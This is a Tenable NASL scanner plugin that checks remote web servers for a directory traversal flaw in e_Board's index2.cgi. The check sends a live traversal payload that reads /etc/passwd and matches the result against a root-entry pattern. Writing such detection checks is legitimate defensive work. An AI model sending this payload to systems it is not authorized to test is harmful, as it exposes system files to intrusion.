e_Board index2.cgi message Parameter Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');


if(description)
{
 script_id(16044);
 script_version("1.13");
 script_bugtraq_id(12048);
 
 script_name(english:"e_Board index2.cgi message Parameter Traversal Arbitrary File Access");
 script_summary(english:"Checks for e_Board");
 
 script_set_attribute(attribute:"synopsis", value:
"A web application running on the remote host has a directory traversal
vulnerability." );
 script_set_attribute(attribute:"description",  value:
"The remote host is running e_Board, a web-based bulletin board system
written in Perl.

The version of e_Board running on the remote web server has a
directory traversal vulnerability in the 'message' parameter of
'index2.cgi'.  A remote attacker could exploit this to read sensitive
information from the system." );
 script_set_attribute(
   attribute:"see_also",
   value:"https://packetstormsecurity.com/0412-exploits/eboard40.txt"
 );
 script_set_attribute(
   attribute:"solution", 
   value:"Upgrade to the latest version of e_Board or disable this software"
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2004/12/23");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"CGI abuses");

 script_copyright(english:"This script is Copyright (C) 2004-2021 Tenable Network Security, Inc.");

 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");

 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);

foreach dir (list_uniq(make_list("/cgi-bin/eboard40/", cgi_dirs())))
{
 req = string(dir,"/index2.cgi?frames=yes&board=demo&mode=Current&threads=Collapse&message=../../../../../../../../../../etc/passwd%00");
 buf = http_send_recv3(method:"GET", item:req, port:port);
 if(isnull(buf)) exit(0);

 if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf[2])){
 	security_warning(port);
	exit(0);
	}
}